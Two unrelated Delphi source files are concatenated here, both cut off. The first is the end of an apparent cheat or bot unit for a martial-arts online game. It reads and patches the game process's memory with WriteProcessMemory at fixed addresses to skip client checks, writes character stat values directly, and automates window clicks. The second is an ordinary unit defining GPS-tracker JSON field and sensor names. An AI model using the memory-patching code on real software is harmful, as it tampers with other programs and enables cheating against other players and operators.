function TUser.FindItemPosByID(ID: DWORD): integer; // 从 1 开始,0说明没有找到
var
i: integer;
begin
Result:=0;
GetItems;
for i:=0 to ItemCount-1 do
begin
If Items[i].ID=ID
then
begin
Result:=i+1;
break;
end;
end;
end;
function TUser.FindItemID(Name: String; Maker: String): DWORD; // 0说明没有找到
var
i: integer;
begin
Result:=0;
GetItems;
for i:=0 to ItemCount-1 do
begin
If
(Items[i].Name=Name) and (Items[i].Maker=Maker)
then
begin
Result:=Items[i].ID;
break;
end;
end;
end;
function TUser.FindItemByType(ItemType: DWORD): DWORD;
var
i: integer;
begin
Result:=0;
GetItems;
for i:=0 to ItemCount-1 do
begin
If
(Items[i].ItemType=ItemType)
then
begin
Result:=Items[i].ID;
break;
end;
end;
end;
function TUser.FindItemCount(Name: String; Maker: String): integer;
var
i: integer;
begin
Result:=0;
GetItems;
for i:=0 to ItemCount-1 do
begin
If Name='' then
begin // 只判断Maker
if Items[i].Maker=Maker then Result:=Result+1;
end
else if Maker='' then
begin // 只判断Name
if Items[i].Name=Name then Result:=Result+1;
end
else // 两个都要判断
begin
if (Items[i].Name=Name) and (Items[i].Maker=Maker) then Result:=Result+1;
end;
end;
end;
procedure TUser.GetItems;
var
i, j:integer;
pCurrItem: DWORD;
ItemBuffer: array [0.. UserItemInfoSize-1] of AnsiChar;
CharArrayTemp: array [0.. 15] of AnsiChar;
tmp: DWORD;
begin
ReadFromHLMEM(Pointer(UserItemCountAddress), @tmp, 4);
ItemCount:=tmp;
for i:=0 to ItemCount-1 do
begin
//6715FC
pCurrItem:=GetHLMemListNumberByNo(i, UserFirstItemAddressAddress, $0066824C);
ReadFromHLMEM(Pointer(pCurrItem), @ItemBuffer, UserItemInfoSize);
for j:=0 to 15 do CharArrayTemp[j]:=ItemBuffer[j];
Items[i].Name:=CharArrayTemp;
for j:=0 to 15 do CharArrayTemp[j]:=ItemBuffer[$10+j];
Items[i].Maker:=CharArrayTemp;
Items[i].Level:=Byte(ItemBuffer[$2f])*256*65536+Byte(ItemBuffer[$2e])*65536
+Byte(ItemBuffer[$2d])*256+Byte(ItemBuffer[$2c]);
Items[i].Price:=Byte(ItemBuffer[$27])*256*65536+Byte(ItemBuffer[$26])*65536
+Byte(ItemBuffer[$25])*256+Byte(ItemBuffer[$24]);
Items[i].ID:=Byte(ItemBuffer[$23])*256*65536+Byte(ItemBuffer[$22])*65536
+Byte(ItemBuffer[$21])*256+Byte(ItemBuffer[$20]);
Items[i].ItemType:=Byte(ItemBuffer[$2b])*256+Byte(ItemBuffer[$2a]);
Items[i].PlusLife:=Byte(ItemBuffer[$31])*256+Byte(ItemBuffer[$30]);
Items[i].PlusNeili:=Byte(ItemBuffer[$33])*256+Byte(ItemBuffer[$32]);
Items[i].PlusGongji:=Byte(ItemBuffer[$35])*256+Byte(ItemBuffer[$34]);
Items[i].PlusFangyu:=Byte(ItemBuffer[$37])*256+Byte(ItemBuffer[$36]);
Items[i].PlusMinjie:=Byte(ItemBuffer[$39])*256+Byte(ItemBuffer[$38]);
Items[i].PlusDufang:=Byte(ItemBuffer[$3b])*256+Byte(ItemBuffer[$3a]);
Items[i].PlusDingfang:=Byte(ItemBuffer[$3d])*256+Byte(ItemBuffer[$3c]);
Items[i].PlusShuifang:=Byte(ItemBuffer[$3f])*256+Byte(ItemBuffer[$3e]);
Items[i].PlusHunfang:=Byte(ItemBuffer[$41])*256+Byte(ItemBuffer[$40]);
// 如果是毒药,取负值
if Items[i].ItemType=600 then Items[i].PlusLife:=0-Items[i].PlusLife;
end;
end;
function TUser.FindNeiyaoPos: integer; // 从 1 开始,0说明没有找到
var
i: integer;
begin
Result:=0;
GetItems;
for i:=0 to ItemCount-1 do
begin
If
(Items[i].ItemType=ItemLiaoshangyao) and (Items[i].PlusNeili<>0)
then
begin
Result:=i+1;
break;
end;
end;
end;
function TUser.UseItem(ID: DWORD): Boolean;
var
tmpWin: TWindowInfo;
tmpPos: Integer;
XY: TPoint;
begin
Result := False;
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle(HLInfoList.GlobalHL.UserName + ' - Item/Equipment');
if tmpWin = nil then Exit;
tmpPos := FindItemPosByID(ID);
if tmpPos = 0 then Exit;
XY := GetItemXY(tmppos);
// 双击要使用的物品, 注意,这个物品千万不能双击多次
LeftDblClickOnSomeWindow_Post(tmpwin.Window, XY.X, XY.Y);
Result := True;
end;
function TUser.DropItem(ID: DWORD): Boolean;
var
tmpWin, tmpButton: TWindowInfo;
tmpPos: Integer;
XY: TPoint;
begin
Result := False;
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle(HLInfoList.GlobalHL.UserName + ' - Item/Equipment');
if tmpWin = nil then Exit;
tmpPos := FindItemPosByID(ID);
if tmpPos = 0 then Exit;
XY := GetItemXY(tmppos);
// 双击要使用的物品, 注意,这个物品千万不能双击多次
LeftClickOnSomeWindow_Post(tmpwin.Window, XY.X, XY.Y);
Sleep(100);
tmpButton := HLInfoList.GlobalHL.LocateChildWindowInfoByTitle(tmpWin, 'Drop Item', true);
if tmpWin = nil then Exit;
LeftClickOnSomeWindow_Post(tmpButton.Window, 1, 1);
Result := True;
end;
procedure TUser.PatchItemWindow;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
BufferDWord: DWORD;
BufferByte: Byte;
tmpWin: TWindowInfo;
begin
//BufferDWord := $00007EE9;
BufferDWord := $00005BE9;
BufferByte := $00;
//0042A42B jump to loc 0x60 distance
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle <> 0 then
begin
//WriteProcessMemory(ProcessHandle, Pointer($0042A3CB), @BufferDWord, 4, lpNumberOfBytes);
//WriteProcessMemory(ProcessHandle, Pointer($0042A3CD), @BufferByte, 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($0042A3CB), @BufferDWord, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($0042A3CF), @BufferByte, 1, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
// 隐藏窗体
//物品/装备
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle(HLInfoList.GlobalHL.UserName + ' - Item/Equipment');
if tmpWin <> Nil
then
if IsWindow(tmpWin.Window) and IsWindowVisible(tmpWin.Window)
then
ShowWindow(tmpWin.Window, SW_HIDE);
end;
procedure TUser.UnPatchItemWindow;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
BufferDWord: DWORD;
BufferByte: Byte;
tmpWin: TWindowInfo;
begin
//BufferDWord := $E8B875FF;
BufferDWord := $E8B875FF;
//BufferByte := $01;
BufferByte := $3D;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle<>0 then
begin
//WriteProcessMemory(ProcessHandle, Pointer($429edb), @BufferDWord, 4, lpNumberOfBytes);
//WriteProcessMemory(ProcessHandle, Pointer($429edf), @BufferByte, 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($0042A3CB), @BufferDWord, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($0042A3CF), @BufferByte, 1, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
// 关闭窗体
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle(HLInfoList.GlobalHL.UserName + ' - Item/Equipment');
if tmpWin <> Nil
then
if IsWindow(tmpWin.Window) and (not IsWindowVisible(tmpWin.Window))
then
Sendmessage(tmpWin.Window, WM_CLOSE, 0, 0);
end;
procedure TUser.AddStats(statType: String; points: integer);
var
statOffset: WORD;
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
StatFormAddr: DWORD;
NewRem: Integer;
begin
if statType = 'Life' then statOffset := AttrOffset_Life
else if statType = 'Mana' then statOffset := AttrOffset_Mana
else if statType = 'Attack' then statOffset := AttrOffset_Attack
else if (statType = 'Defense') or (statType = 'Defence') then statOffset := AttrOffset_Defense
else if statType = 'Dexterity' then statOffset := AttrOffset_Dexterity
else Exit;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle<>0 then
begin
ReadFromHLMEM(Pointer(HL_HeroStatsFormAddressAddress), @StatFormAddr, 4);
WriteProcessMemory(ProcessHandle, Pointer(StatFormAddr + statOffset), @points, 4, lpNumberOfBytes);
NewRem := ThisUser.OldRemaining - points;
WriteProcessMemory(ProcessHandle, Pointer(StatFormAddr + AttrOffset_Rem), @NewRem, 4, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
end;
function TCreateWG.FindWindows(var hwndMC, hwndXS, hwndNL, hwndQS, hwndGJ, hwndBZ, hwndButtonCZ: HWND):HWND; // 返回创招窗口的HWND,如果为0,说明没有找到
const
RepCountTol=5;
var
i: integer;
tmpWin, WinCreateWG : TWindowInfo;
hwndCreateWG, hwndXiaoguo, hwndJiben: HWND;
begin
Result := 0;
hwndMC := 0;
hwndXS := 0;
hwndNL := 0;
hwndQS := 0;
hwndGJ := 0;
hwndBZ := 0;
hwndButtonCZ := 0;
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Create Kungfu');
if tmpWin = nil then Exit;
hwndCreateWG := tmpWin.Window;
hwndXiaoguo := HLInfoList.GlobalHL.
LocateChildWindowWNDByTitle(hwndCreateWG, 'Effect Settings', True);
hwndJiben := HLInfoList.GlobalHL.
LocateChildWindowWNDByTitle(hwndCreateWG, 'Basic Settings', True);
hwndButtonCZ := HLInfoList.GlobalHL.
LocateChildWindowWNDByTitle(hwndCreateWG, 'OK(&O)', True);
if (hwndXiaoguo = 0) or (hwndJiben = 0) or (hwndButtonCZ = 0) then Exit;
WinCreateWG := HLInfoList.GlobalHL.ItemOfWindowTitle('Create Kungfu'); // 这必须再来一次,因为会变
for i := 0 to HLInfoList.GlobalHL.Count - 1 do
begin
tmpWin := HLInfoList.GlobalHL.Items[i];
if tmpWin.ParentWin = nil then Continue;
if (tmpWin.ParentWin.Window = hwndXiaoguo) then // QS, GJ, BZ
begin
if (tmpWin.Top - CreateWG_QS_TopJust = winCreateWG.Top)
then
begin
hwndQS := tmpWin.Window;
end
else if (tmpWin.Top - CreateWG_GJ_TopJust = winCreateWG.Top)
then
begin
hwndGJ := tmpWin.Window;
end
else if (tmpWin.Top - CreateWG_BZ_TopJust = winCreateWG.Top)
then
begin
hwndBZ := tmpWin.Window;
end;
end
else if (tmpWin.ParentWin.Window = hwndJiben) then // MC, XS, NL
begin
if (tmpWin.Top - CreateWG_MC_TopJust = winCreateWG.Top)
then
begin
hwndMC := tmpWin.Window;
end
else if (tmpWin.Top - CreateWG_XS_TopJust = winCreateWG.Top)
then
begin
hwndXS := tmpWin.Window;
end
else if (tmpWin.Top - CreateWG_NL_TopJust = winCreateWG.Top)
then
begin
hwndNL := tmpWin.Window;
end;
end;
end;
if (hwndMC > 0) and (hwndXS > 0) and (hwndNL > 0) and (hwndQS > 0)
and (hwndGJ > 0) and (hwndBZ > 0) and (hwndButtonCZ > 0)
then
Result := hwndCreateWG;
end;
function TCreateWG.DoCreateWG: Boolean;
var
hwndCreateWG, hwndMC, hwndXS, hwndNL, hwndQS, hwndGJ, hwndBZ, hwndButtonCZ: HWND;
tmpMC, tmpXS, tmpNL, tmpQS, tmpGJ, tmpBZ: String;
begin
Result := False;
hwndCreateWG := FindWindows(hwndMC, hwndXS, hwndNL, hwndQS, hwndGJ, hwndBZ, hwndButtonCZ);
if hwndCreateWG = 0 then Exit;
EnableWindow(hwndCreateWG, False);
WindowSetText(hwndMC, ThisWGAttrs.MC);
WindowSetText(hwndXS, ThisWGAttrs.XS);
WindowSetText(hwndNL, ThisWGAttrs.NL);
Sleep(100);
tmpMC := WindowGetText(hwndMC);
tmpXS := WindowGetText(hwndXS);
tmpNL := WindowGetText(hwndNL);
if (tmpMC <> ThisWGAttrs.MC) or (tmpXS <> ThisWGAttrs.XS) or (tmpNL <> ThisWGAttrs.NL) then Exit;
SendMessage(hwndQS, CB_SETCURSEL, StrToInt(ThisWGAttrs.QS) - 1, 0);
SendMessage(hwndGJ, CB_SETCURSEL, StrToInt(ThisWGAttrs.GJ) - 1, 0);
SendMessage(hwndBZ, CB_SETCURSEL, StrToInt(ThisWGAttrs.BZ) - 1, 0);
Sleep(100);
tmpQS := WindowGetText(hwndQS);
tmpGJ := WindowGetText(hwndGJ);
tmpBZ := WindowGetText(hwndBZ);
if (tmpQS <> ThisWGAttrs.QS) or (tmpGJ <> ThisWGAttrs.GJ) or (tmpBZ <> ThisWGAttrs.BZ) then Exit;
EnableWindow(hwndCreateWG, True);
// 点击创招
Sendmessage(hwndButtonCZ, WM_LBUTTONDOWN, MK_LBUTTON, 1 + 1 * 65536);
Sendmessage(hwndButtonCZ, WM_LBUTTONUP, 0, 1 + 1 * 65536);
Result := True;
end;
function TCreateWG.DoDeleteWGs: Boolean;
// 删除武功
var
tmpWin: TWindowInfo;
hwndSkill, hwndLearnedSkillList, hwndForget: HWND;
tmpRect: TRect;
begin
Result := False;
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Kungfu');
if tmpWin = nil then Exit;
hwndSkill:=tmpWin.Window;
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Skill(s) Learned');
if tmpWin = nil then Exit;
hwndLearnedSkillList := HLInfoList.GlobalHL.
LocateChildWindowWNDByTitle(tmpWin.Window, '', True);
if hwndLearnedSkillList = 0 then Exit;
hwndForget := HLInfoList.GlobalHL.
LocateChildWindowWNDByTitle(hwndSkill, 'Forget(&F)', True);
if hwndForget = 0 then Exit;
ThisUser.GetWGs;
if DeleteWGRemainIndicator=DelWGRemainEasyWG then
begin // 保留容易招
repeat
if ThisUser.WGs[DeleteFrom-1].Real_DisplayXishuPercent>=100 // 容易招
then
DeleteFrom:=DeleteFrom+1
else
break;
until DeleteFrom>ThisUser.WGCount;
end
else if DeleteWGRemainIndicator<>DelWGNoIndicator then
begin // 保留系数
repeat
if ThisUser.WGs[DeleteFrom-1].DisplayXishuMultiply100*ThisUser.WGs[DeleteFrom-1].Real_DisplayXishuPercent/10000>=DeleteWGRemainIndicator
then
DeleteFrom:=DeleteFrom+1
else
break;
until DeleteFrom>ThisUser.WGCount;
end;
if DeleteFrom>ThisUser.WGCount then Exit; // 无招可删了
EnableWindow(hwndSkill, False);
if SendMessage(hwndLearnedSkillList, LB_SETCURSEL, DeleteFrom-1, 0)=LB_ERR then Exit;
if SendMessage(hwndLearnedSkillList, LB_GETITEMRECT, DeleteFrom-1, LPARAM(@tmpRect))=LB_ERR then Exit;
LeftClickOnSomeWindow_Send(hwndLearnedSkillList, tmpRect.Left, tmpRect.Top);
if DeleteFrom=SendMessage(hwndLearnedSkillList, LB_GETCURSEL, 0, 0)+1 then
begin
OldWGCount:=ThisUser.WGCount;
LeftClickOnSomeWindow_Post(hwndForget, 0, 0);
end;
EnableWindow(hwndSkill, True);
Result:=True;
end;
procedure TCreateWG.PatchCreateWG;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
BufferDWord, BufferDWord2: DWORD;
BufferWord: WORD;
// BufferByte: Byte;
tmpWin: TWindowInfo;
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle <> 0 then
begin
//BufferDWord := $0000A3E9;
BufferDWord := $0000A3E9;
WriteProcessMemory(ProcessHandle, Pointer($458AA5), @BufferDWord, 4, lpNumberOfBytes); //4467DD
BufferDWord := $000001B8;
BufferDWord2 := $90909000;
BufferWord := $9090;
WriteProcessMemory(ProcessHandle, Pointer($4512E0), @BufferDWord, 4, lpNumberOfBytes); //4403F3
WriteProcessMemory(ProcessHandle, Pointer($4512E4), @BufferDWord2, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($4512E8), @BufferWord, 2, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Create Kungfu');
if tmpWin <> nil then
if IsWindow(tmpWin.Window) and IsWindowVisible(tmpWin.Window) then
ShowWindow(tmpWin.Window, SW_HIDE);
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Kungfu'); //修炼技能
if tmpWin <> nil then
if IsWindow(tmpWin.Window) and IsWindowVisible(tmpWin.Window) then
ShowWindow(tmpWin.Window, SW_HIDE);
end;
procedure TCreateWG.UnPatchCreateWG;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
BufferDWord, BufferDWord2: DWORD;
BufferWord: WORD;
// BufferByte: Byte;
tmpWin: TWindowInfo;
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle <> 0 then
begin
BufferDWord := $00A2840F;
WriteProcessMemory(ProcessHandle, Pointer($458AA5), @BufferDWord, 4, lpNumberOfBytes);
//BufferDWord := $66E831FF;
//BufferDWord2 := $83FFFCE4;
BufferDWord := $01E831FF;
BufferDWord2 := $83FFFBB4;
BufferWord := $0CC4;
WriteProcessMemory(ProcessHandle, Pointer($4512E0), @BufferDWord, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($4512E4), @BufferDWord2, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($4512E8), @BufferWord, 2, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Create Kungfu');
if tmpWin <> nil then
if IsWindow(tmpWin.Window) and (not IsWindowVisible(tmpWin.Window)) then
Sendmessage(tmpWin.Window, WM_CLOSE, 0, 0);
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Kungfu');
if tmpWin <> nil then
if IsWindow(tmpWin.Window) and (not IsWindowVisible(tmpWin.Window)) then
Sendmessage(tmpWin.Window, WM_CLOSE, 0, 0);
end;
initialization
ThisWork := TWork.Create;
ThisUser := TUser.Create;
finalization
ThisWork.Free;
ThisUser.Free;
end.
|
unit Ils.Json.Names;
//------------------------------------------------------------------------------
interface
uses
SysUtils;
//------------------------------------------------------------------------------
const
//------------------------------------------------------------------------------
//! список протоколов
//------------------------------------------------------------------------------
dtUnknown = 0;
dtNovacom = 1;
dtWialon = 2;
dtMintrans = 3;
dtNavtelecom = 4;
dtRusAgroTaxi = 5;
dtRuptela = 6;
dtExpeditor = 7;
//------------------------------------------------------------------------------
//! корневые поля JSON'ов точек
//------------------------------------------------------------------------------
{!
неизвестно,
версия, imei прибора, количество спутников(*), координаты корректны, тип протокола,
широта(**), долгота(**), дата и время точки, дата и время приёма, пробег(*), скорость(*),
нажата тревожная кнопка(***), работает ли мотор(*), направление(*), высота(*), датчики(*)
}
(*
* - необязятельный параметр
** - обязательны для точки, НО отсутствуют для "точек" снимков
*** - есть, если нажата ТК
*)
type
TJsonField = (
jfUnknown,
jfGeneration, jfImei, jfSatellitesCount, jfSatellitesValid, jfDeviceType,
jfLatitude, jfLongitude, jfDateTime, jfReceived, jfLen, jfVelocity,
jfPanic, jfEngineWorks, jfAzimuth, jfAltitude, jfSensors,
jfDeviceVelocity, jfDeviceAzimuth
);
const
CJsonField: array[TJsonField] of string = (
'unknown',
'g', 'i', 'sc', 'sv', 't',
'la', 'lo', 'dt', 'r', 'l', 'v',
'panic', 'ew', 'd', 'a', 's',
'dv', 'dd'
);
//------------------------------------------------------------------------------
//! типы данных сенсоров
//------------------------------------------------------------------------------
type
TSensorMeasure = (
smUnknown,
smBinary,
smBinary8,
smBinary16,
smBinary32,
smInteger,
smFloat,
smRaw,
smString
);
const
CSensorMeasureStr: array[TSensorMeasure] of string = (
'unknown',
'1',
'8',
'16',
'32',
'i',
'f',
'raw',
's'
);
//------------------------------------------------------------------------------
//! список сенсоров
//------------------------------------------------------------------------------
type
TSensorType = (
stUnknown, // <неизвестный>
stVExt, // внешнее питание - мВ
stVInt, // внутреннее питание - мВ
stAin, // аналоговые входы
stBin, // цифровые входы
stBin8, // цифровые входы
stBout, // цифровые выходы
stBout8, // цифровые выходы
stCamera, // .СНИМОК КАМЕРЫ.
stTemp, // температура - градусы C
stCounter, // счётчик
stMileage, // полный пробег - км
stMoto, // моточасы - с
stFuelTemp, // температура топлива - градусы C
stFuel, // топливо RS232/RS485 - для тарировки
stCANFuelP, // CAN-топливо - %
stCANFuelL, // CAN-топливо - л
stCANFuelConsume, // CAN-полный расход топлива - л
stCANRPM, // CAN-обороты двигателя
stCANDistance, // CAN-полный пробег
stCANCoolTemp, // CAN-температура охлаждающей жидкости - градусы C
stCANAxleLoad, // CAN-нагрузка на ось - кг
stCANPAccel, // CAN-педаль газа - %
stCANPStop, // CAN-педаль тормоза - %
stCANFilterP, // CAN-уровень жидкости в дизельном фильтре выхлопных газов - %
stCANFilterL, // CAN-уровень жидкости в дизельном фильтре выхлопных газов - л
stCANEngineLoad, // CAN-нагрузка двигателя - %
stCANEngineTime, // CAN-время работы двигателя - с
stCANTillDTM, // CAN-расстояние до ТО - км
stCANVelocity, // CAN-скорость - км/ч
stCANInfoSt, // CAN-флаги состояния безопасности
stCANSecurity, // CAN-события состояния безопасности
stCANAlarmSt, // CAN-контроллеры аварии
stCANFaultSt, // CAN-состояние ламп индикации неисправностей
stCANFault, // CAN-диагностический код неисправности
stHDOP, // hdop
stVDOP, // vdop
stPDOP, // pdop
stTDOP, // tdop
stGDOP, // gdop
stFlowsensSt, // ДУТ: статус датчика
stFlowsensTotalCons, // ДУТ: суммарный расход топлива - л
stFlowsensTripCons, // ДУТ: расход топлива за поездку - л
stFlowsensFlow, // ДУТ: текущая скорость потока - л/ч
stFlowsensFeedCons, // ДУТ: суммарный объем топлива камеры подачи - л
stFlowsensFeedFlow, // ДУТ: текущая скорость потока камеры подачи - л/ч
stFlowsensFeedTemp, // ДУТ: температура камеры подачи - градусы C
stFlowsensReturnCons, // ДУТ: суммарный объем топлива камеры обратки - л
stFlowsensReturnFlow, // ДУТ: текущая скорость потока камеры обратки - л/ч
stFlowsensReturnTemp, // ДУТ: температура камеры обратки - градусы C
stBDTimeInc, // приращение времени - с
stBDAccelX, // линейное ускорение по X - g
stBDAccelY, // линейное ускорение по Y - g
stBDAccelZ, // линейное ускорение по Z - g
stBDAccelModule, // модуль вектора ускорения - g
stBDAccelMax, // максимальное значение положительного ускорения за период - g
stBDBrakeMax, // максимальное значение отрицательного ускорения (торможения) за период - g
stBDCrnMax, // максимальное значение бокового ускорения за период - g
stBDAngMax, // максимальное значение углового ускорения за период - градус/с^2
stBDVertMax, // максимальное значение вертикального ускорения за период - g
stBDSpeedMax, // максимальное значение скорости за период - км/ч
stBDDuration, // длительность превышения порога - с
stBDSpeedState, // состояние порогов скорости
stBDAllState, // состояние порогов ускорения
stFreq, // частота на аналогово-частотном датчике - гц
stFuelFreq, // частота на выходе датчика уровня топлива - гц
stEngineHoursWork, // пользовательские моточасы 1 (работа под нагрузкой) - с
stEngineHoursIdle, // пользовательские моточасы 2 (работа без нагрузки) - с
stHPTemp, // высокоточный датчик температуры - градусы C
stHPHumidity, // высокоточный датчик влажности - %
stGeoState, // информация о нахождении в геозонах
stAccelState, // состояние виртуальных датчиков акселерометра
stTiltLocal, // внутренний датчик угла наклона: угол наклона относительно местной вертикали - градусы
stTiltPitch, // внутренний датчик наклона: угол тангажа - градусы
stTiltRoll, // внутренний датчик наклона: угол крена - градусы
stTiltX, // внешний датчик угла наклона: отклонение по оси X
stTiltY, // внешний датчик угла наклона: отклонение по оси Y
stTiltZ, // внешний датчик угла наклона: отклонение по оси Z
stPassCount, // счётчик пассажиропотока
stTacho, // данные от тахографа
stTachoMode, // режим работы тахографа/карта
stTachoState, // флаги состояния от тахографа
stTachoSpeed, // скорость по тахографу - км/ч
stTachoOdom, // одометр по тахографу - км
stTachoTime, // время по тахографу - с от 1970 (unix time)
stTachoDmStatus, // текущее состояние водителя принятое от дисплейного модуля
stTachoDmIndex, // индекс последнего полученного/прочитанного сообщения на дисплейном модуле
stFridgeState, // РУ: состояние
stFridgeTemp, // РУ: температура рефрижератора - градусы C
stFridgeSetTemp, // РУ: температура установленная - градусы C
stFridgeTempOut, // РУ: температура окружающего воздуха - градусы C
stFridgeTempIn, // РУ: температура ОЖ - градусы C
stFridgeV, // РУ: напряжение аккумулятора - мВ
stFridgeA, // РУ: сила тока аккумулятора - мВ
stFridgeMotoInt, // РУ: моточасы работы от двигателя - ч
stFridgeMotoExt, // РУ: моточасы работы от сети - ч
stFridgeCompMode, // РУ: конфигурация компрессора
stFridgeEngineRpm, // РУ: состояние двигателя, обороты
stFridgeEngineMode, // РУ: состояние двигателя, режим
stFridgeFault, // РУ: код ошибки
stFridgeFaultCount, // РУ: количество ошибок
stShinNumber, // датчик давления в шинах: № колеса
stShinPressure, // датчик давления в шинах: давление - бар
stShinTemp, // датчик давления в шинах: температура - градусы C
stAutoinfStatus, // статус автоинформатора
stLastGeoID, // ID последней геозоны
stLastStopID, // ID последней остановки
stRouteID, // ID текущего маршрута
stCamStatus // статус камеры
);
const
CSensorNamePrefix: array[TSensorType] of string = (
'unknown', //stUnknown
'vext', //stVExt
'vint', //stVInt
'ain', //stAin
'bin', //stBin
'bin', //stBin8
'bout', //stBout
'bout', //stBout8
'cam', //stCamera
'temp', //stTemp
'cnt', //stCounter
'mil', //stMileage
'moto', //stMoto
'fueltemp', //stFuelTemp
'fuel', //stFuel
'fuelp', //stCANFuelP
'fuell', //stCANFuelL
'fuelconsume', //stCANFuelConsume
'rpm', //stCANRPM
'distance', //stCANDistance
'cool', //stCANCoolTemp
'axle', //stCANAxleLoad
'paccel', //stCANPAccel
'pstop', //stCANPStop
'filterp', //stCANFilterP
'filterl', //stCANFilterL
'eload', //stCANEngineLoad
'etime', //stCANEngineTime
'till_dtm', //stCANTillDTM
'vel', //stCANVelocity
'can_info_st', //stCANInfoSt
'can_security_evt', //stCANSecurity
'can_alarm_st', //stCANAlarmSt
'can_fault_st', //stCANFaultSt
'can_fault', //stCANFault
'hdop', //stHDOP
'vdop', //stVDOP
'pdop', //stPDOP
'tdop', //stTDOP
'gdop', //stGDOP
'flowsens_st', //stFlowsensSt
'flowsens_total_cons', //stFlowsensTotalCons
'flowsens_trip_cons', //stFlowsensTripCons
'flowsens_flow_spd', //stFlowsensFlow
'flowsens_feed_cons', //stFlowsensFeedCons
'flowsens_feed_flow_spd', //stFlowsensFeedFlow
'flowsens_feed_temp', //stFlowsensFeedTemp
'flowsens_return_cons', //stFlowsensReturnCons
'flowsens_return_flow_spd', //stFlowsensReturnFlow
'flowsens_return_temp', //stFlowsensReturnTemp
'timeinc', //stBDTimeInc
'accx', //stBDAccelX
'accy', //stBDAccelY
'accz', //stBDAccelZ
'wln_accel_module', //stBDAccelModule
'wln_accel_max', //stBDAccelMax
'wln_brk_max', //stBDBrakeMax
'wln_crn_max', //stBDCrnMax
'wln_ang_max', //stBDAngMax
'wln_vert_max', //stBDVertMax
'wln_spd_max', //stBDSpeedMax
'thld_duration', //stBDDuration
'thld_spd_st', //stBDSpeedState
'thld_all_st', //stBDAllState
'freq', //stFreq
'fuel_freq', //stFuelFreq
'engine_hours_work', //stEngineHoursWork
'engine_hours_idle', //stEngineHoursIdle
'hp_temp', //stHPTemp
'hp_humidity', //stHPHumidity
'geo_st', //stGeoState
'accel_st', //stAccelState
'int_tilt_sens_local', //stTiltLocal
'int_tilt_sens_pitch', //stTiltPitch
'int_tilt_sens_roll', //stTiltRoll
'ext_tilt_sens_x', //stTiltX
'ext_tilt_sens_y', //stTiltY
'ext_tilt_sens_z', //stTiltZ
'p_count', //stPassCount
'tacho', //stTacho
'tacho_mode', //stTachoMode
'tacho_state', //stTachoState
'tacho_speed', //stTachoSpeed
'tacho_odom', //stTachoOdom
'tacho_time', //stTachoTime
'dm_status', //stTachoDmStatus
'dm_mess_n', //stTachoDmIndex
'fridge_st', //stFridgeState
'fridge_temp', //stFridgeTemp
'fridge_set_temp', //stFridgeSetTemp
'fridge_outside_temp', //stFridgeTempOut
'fridge_coolant_temp', //stFridgeTempIn
'fridge_pwr_vlt', //stFridgeV
'fridge_pwr_cur', //stFridgeA
'fridge_eng_moto_hours', //stFridgeMotoInt
'fridge_elec_moto_hours', //stFridgeMotoExt
'fridge_comp_mode', //stFridgeCompMode
'fridge_engine_rpm', //stFridgeEngineRpm
'fridge_engine_mode', //stFridgeEngineMode
'fridge_fault', //stFridgeFault
'fridge_fault_count', //stFridgeFaultCount
'tpms_number', //stShinNumber
'tpms_pressure', //stShinPressure
'tpms_temp', //stShinTemp
'autoinf_status', //stAutoinfStatus
'last_geo_id', //stLastGeoID
'last_stop_id', //stLastStopID
'cur_route_id', //stRouteID
'camstatus' //stCamStatus
);
CSensorMeasureByType: array[TSensorType] of TSensorMeasure = (
smUnknown, //stUnknown
smInteger, //stVExt
smInteger, //stVInt
smInteger, //stAin
smBinary, //stBin
smBinary8, //stBin8
smBinary, //stBout
smBinary8, //stBout8
smRaw, //stCamera
smInteger, //stTemp
smInteger, //stCounter
smFloat, //stMileage
smInteger, //stMoto
smInteger, //stFuelTemp
smInteger, //stFuel
smInteger, //stCANFuelP
smFloat, //stCANFuelL
smFloat, //stCANFuelConsume
smInteger, //stCANRPM
smFloat, //stCANDistance
smInteger, //stCANCoolTemp
smInteger, //stCANAxleLoad
smInteger, //stCANPAccel
smInteger, //stCANPStop
smInteger, //stCANFilterP
smFloat, //stCANFilterL
smInteger, //stCANEngineLoad
smInteger, //stCANEngineTime
smInteger, //stCANTillDTM
smInteger, //stCANVelocity
smBinary16, //stCanInfoSt
smInteger, //stCanSecurity
smBinary32, //stCanAlarmSt
smBinary8, //stCanFaultSt
